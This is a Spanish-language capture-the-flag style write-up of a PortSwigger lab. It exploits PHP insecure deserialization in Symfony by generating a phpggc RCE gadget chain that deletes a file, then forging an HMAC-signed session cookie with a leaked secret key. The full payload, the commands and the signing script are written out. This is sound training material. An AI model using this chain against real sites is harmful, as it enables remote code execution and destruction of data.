
Descripción
This lab has a serialization-based session mechanism that uses a signed cookie. It also uses a common PHP framework. Although you don’t have source code access, you can still exploit this lab’s insecure deserialization using pre-built gadget chains.
To solve the lab, identify the target framework then use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, work out how to generate a valid signed cookie containing your malicious object. Finally, pass this into the website to delete the morale.txt
file from Carlos’s home directory.
You can log in to your own account using the following credentials: wiener:peter
Exploiting PHP deserialization with a pre-built gadget chain writeup
Entraremos en el laboratorio en ‘My account’ e iniciaremos sesión con el usuario ‘wiener’ y la contraseña ‘peter’. Copiaremos la cookie que el navegador nos haya generado:
%7B%22token%22%3A%22Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ3djJidTlnMGJ2NGxxcHJybm93MnN2MWtyMXZ1cHF0YiI7fQ%3D%3D%22%2C%22sig_hmac_sha1%22%3A%22c0ceb8bd644a717323ea0ed2378560f7e05fceb8%22%7D
Iremos al ‘Decoder’ de Burp Suite y descodificaremos de URL y luego el framgento que finaliza en ‘==’ de Base64:

Ahora vemos nuestro usuario, probaremos a cambiarlo por ‘carlos’, para ver si podemos acceder a su directorio. En este caso no será necesario cambiar el tamaño del string al tener ‘carlos’ y ‘wiener’ el mismo número de letras. Volveremos a codificar el fragmento a Base64 y la totalidad a URL:

Copiaremos el resultado y lo sustituiremos por nuestra cookie, la página nos mostrará el siguiente error:

Nos muestra que está usando ‘Symfony 4.3.6’. También encontraremos más información en el ‘Target’ de Burp Suite:

Al entrar a esta página encontraremos la clave secreta del framework:

Esta clave es necesaria para generar el objeto php que usaremos para generar el payload. Usaremos en este caso phpggc:
git clone https://github.com/ambionics/phpggc.git
Buscaremos si el framework de php está soportado por la herramienta:
./phpggc -l | grep Sym

Y vemos que para Symfony 4.3.6 debemos usar ‘Symfony/RCE4’. Insertaremos ahora el siguiente comando:
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64 -w0
Este comando nos dará el siguiente payload:
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==
Ahora, tenemos que generar una cookie para el framework php con este payload para cuando se deserialice, ejecute el comando. Para ello crearemos el siguiente archivo .php:
<?php
$payload='Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==';
$secret='z4jty97ermg2xtjwxdiwjxiqir4mzter';
$hash=hash_hmac('sha1', $payload, $secret);
$cookie=urlencode('{"token":"'.$payload.'","sig_hmac_sha1":"'.$hash.'"}');
echo($cookie);
?>
Nota: La contraseña ‘secret’ ha cambiado debido a que el laboratorio se reinició.
Almacenaremos el archivo con la extensión .php y ejecutaremos los siguientes comandos:
Primero, para ver la versión de php:
php --version

Y segundo, para ejecutar el archivo que acabamos de crear:

Copiaremos la cookie, la sustituiremos por la del navegador y completaremos el laboratorio al actualizar:
